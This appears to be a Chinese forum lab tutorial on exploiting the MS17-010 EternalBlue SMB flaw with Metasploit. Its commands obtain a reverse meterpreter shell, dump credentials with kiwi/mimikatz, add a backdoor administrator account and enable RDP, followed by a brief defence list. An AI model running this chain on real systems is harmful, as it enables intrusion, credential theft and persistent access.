MS17-010永恒之蓝漏洞利用

打印 上一主题 下一主题

主题 594|帖子 594|积分 1782

MS17-010永恒之蓝漏洞利用

原理

永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。SMB服务在Windows与UNIX系列OS之间搭起一座桥梁,让两者的资源可互通有无。漏洞原理的深入研究,请参考:(https://blog.csdn.net/luoshenwei3533/article/details/82931999)
实验前准备
  1. 攻击ip:192.168.200.130
  2. 被攻击ip:192.168.200.101  开启了445端口(默认是开启的),未打漏洞补丁,关闭防火墙
  3. 二者能够相互ping通
复制代码
步骤

1、启动MSF
  1. msfconsole
复制代码
  1. <br><img src="https://img2022.cnblogs.com/blog/2723702/202207/2723702-20220712214411625-511281646.png" alt="" loading="lazy">
复制代码
2、ms17_010模块使用过程
  1. search ms17_010                              查找相应的漏洞模块
  2. use exploit/windows/smb/ms17_010_psexec      加载模块
  3. set RHOSTS 192.168.200.101                   设置攻击目标
  4. check                                        进行检测,确认是否存在ms17_010漏洞
  5. set payload windows/meterpreter/reverse_tcp  加载payload
  6. set LHOST 192.168.200.130                    设置本地IP
  7. show options                                 查看模块相关参数
  8. run                                          攻击
复制代码
(1)查找相应的漏洞模块

 (2)加载模块并设置目标
我们这里使用第1个,即”exploit/windows/smb/ms17_010_psexec“模块,并设置RHOSTS为被攻击IP
 
使用check命令检测一下是否存在ms17_010漏洞。检测时,会自动加载auxiliary/scanner/smb/smb_ms17_010模块,可以看到,被攻击目标是存在这个漏洞的。

 (3)加载payload
这里使用windows/meterpreter/reverse_tcp作为攻击payload。
 
攻击前,再用show options命令检查一下设置是否正确。
 
(4)攻击

3、漏洞利用

(1) 查看系统信息 sysinfo
 
(2) 查看当前用户的权限 getuid
 
(3))获取目标系统权限 shell
 
(4)获取目标主机用户以及密码,需要使用system权限,如果是在administrator下,直接使用 getsystem 即可
  1. load kiwi  加载kiwi模块
  2. help kiwi  查看kiwi模块帮助
复制代码

 
creds_all 查看用户,密码,密码对应hash值等
 
kiwi具体命令
  1. load kiwi
  2. creds_all:列举所有凭据
  3. creds_kerberos:列举所有kerberos凭据
  4. creds_msv:列举所有msv凭据
  5. creds_ssp:列举所有ssp凭据
  6. creds_tspkg:列举所有tspkg凭据
  7. creds_wdigest:列举所有wdigest凭据
  8. dcsync:通过DCSync检索用户帐户信息
  9. dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
  10. golden_ticket_create:创建黄金票据
  11. kerberos_ticket_list:列举kerberos票据
  12. kerberos_ticket_purge:清除kerberos票据
  13. kerberos_ticket_use:使用kerberos票据
  14. kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
  15. lsa_dump_sam:dump出lsa的SAM
  16. lsa_dump_secrets:dump出lsa的密文
  17. password_change:修改密码
  18. wifi_list:列出当前用户的wifi配置文件
  19. wifi_list_shared:列出共享wifi配置文件/编码
复制代码
(5)开启目标远程
开启目标远程,并创建一个test帐户
>>方法一
  1. meterpreter > run post/windows/manage/enable_rdp username="test" password="123456"
复制代码

  验证

>>方法二
  1. shell    <br>net user lfn 123456 /add                      创建用户
  2. net localgroup administrators lfn /add    添加管理员权限        
复制代码
>>ps如果目标机器没有开启远程桌面服务,使用注册表进行打开
  1. C:\Windows\system32>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
复制代码
使用刚才创建的用户和密码进行远程,进行远程控制。
  1. rdesktop 192.168.200.101 -u test -p 123456
复制代码

防护措施


  • 关闭445等高危端口
  • 配置防火墙,安装防护软件
  • 安装补丁

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

前进之路

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表